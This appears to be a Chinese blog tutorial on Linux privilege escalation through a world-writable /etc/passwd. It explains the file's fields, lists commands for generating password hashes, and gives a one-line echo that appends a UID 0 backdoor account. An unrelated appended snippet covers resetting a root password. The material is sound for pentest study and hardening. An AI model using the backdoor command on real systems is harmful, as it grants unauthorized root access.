linux提权——passwd提权

通过修改/etc/passwd提升权限

基础知识

/etc/passwd: 文件中的详细信息格式

img

详解Linux中/etc/passwd文件详解Linux中/etc/passwd文件
  • 用户名:代表用户账号的字符串。通常长度不超过8个字符,并且由大小写字母和/或数字组成。登录名中不能有冒号(😃,因为冒号在这里是分隔符。为了兼容起见,登录名中最好不要包含点字符(.),并且不使用连字符(-)和加号(+)打头。

  • 口令:一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。

  • 用户标识号:是一个整数,系统内部用它来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。通常用户标识号的取值范围是0~65535。0是超级用户root的标识号,1~99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。

  • 组标识号:字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。

  • 注释性描述:字段记录着用户的一些个人情况,例如用户的真实姓名、电话、地址等,这个字段并没有什么实际的用途。在不同的Linux系统中,这个字段的格式并没有统一。在许多Linux系统中,这个字段存放的是一段任意的注释性描述文字,用做finger命令的输出。

  • 主目录:也就是用户的起始工作目录,它是用户在登录到系统之后所处的目录。在大多数系统中,各用户的主目录都被组织在同一个特定的目录下,而用户主目录的名称就是该用户的登录名。

    各用户对自己的主目录有读、写、执行(搜索)权限,其他用户对此目录的访问权限则根据具体情况设置。用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。

  • 命令解释器:它表示(由用户)执行命令并显示结果的默认shell的完整路径。常用的有sh、ash、csh、ksh、tcsh、bash、zsh等。

提权方式

条件

查看/etc/passwd的权限配置

img

发现普通用户具有写的权限

方法

生成带有加密字符的用户信息并写入进去

#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123

#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass

#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'

#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'

#php语言
php -r "print(crypt('aarti','123') . " ");"

eg:

img

然后将生成的密码按照一定格式添加到/etc/passwd

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在Linux系统中修改root密码,可以按照以下步骤进行操作: 1. 首先,使用挂载命令将原系统磁盘设备挂载到一个目录下,比如/mnt/sysimage。可以使用命令`mount /dev/sda1 /mnt/sysimage`来挂载设备sda1到/mnt/sysimage目录下。\[1\] 2. 接下来,使用chroot命令将工作目录切换到挂载目录中,即执行`chroot /mnt/sysimage`。这样可以将当前的shell环境切换到挂载的系统中,以便进行后续操作。\[1\] 3. 然后,执行`passwd root`命令来修改root用户的密码。系统会示输入新的密码并确认。输入密码时不会显示任何字符,但实际上是在输入的。\[1\] 4. 修改密码完成后,可以使用`exit`命令退出chroot环境。 5. 最后,卸载挂载的设备,可以使用`umount /mnt/sysimage`命令来卸载设备。\[1\] 需要注意的是,上述步骤中的设备名称和路径可能会因系统配置而有所不同。在实际操作中,可以根据系统的具体情况进行调整。\[3\] #### 引用[.reference_title] - *1* *2* *3* [linux忘记root密码怎么办——重置root密码的四种方法](https://blog.csdn.net/u013250169/article/details/120349784)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值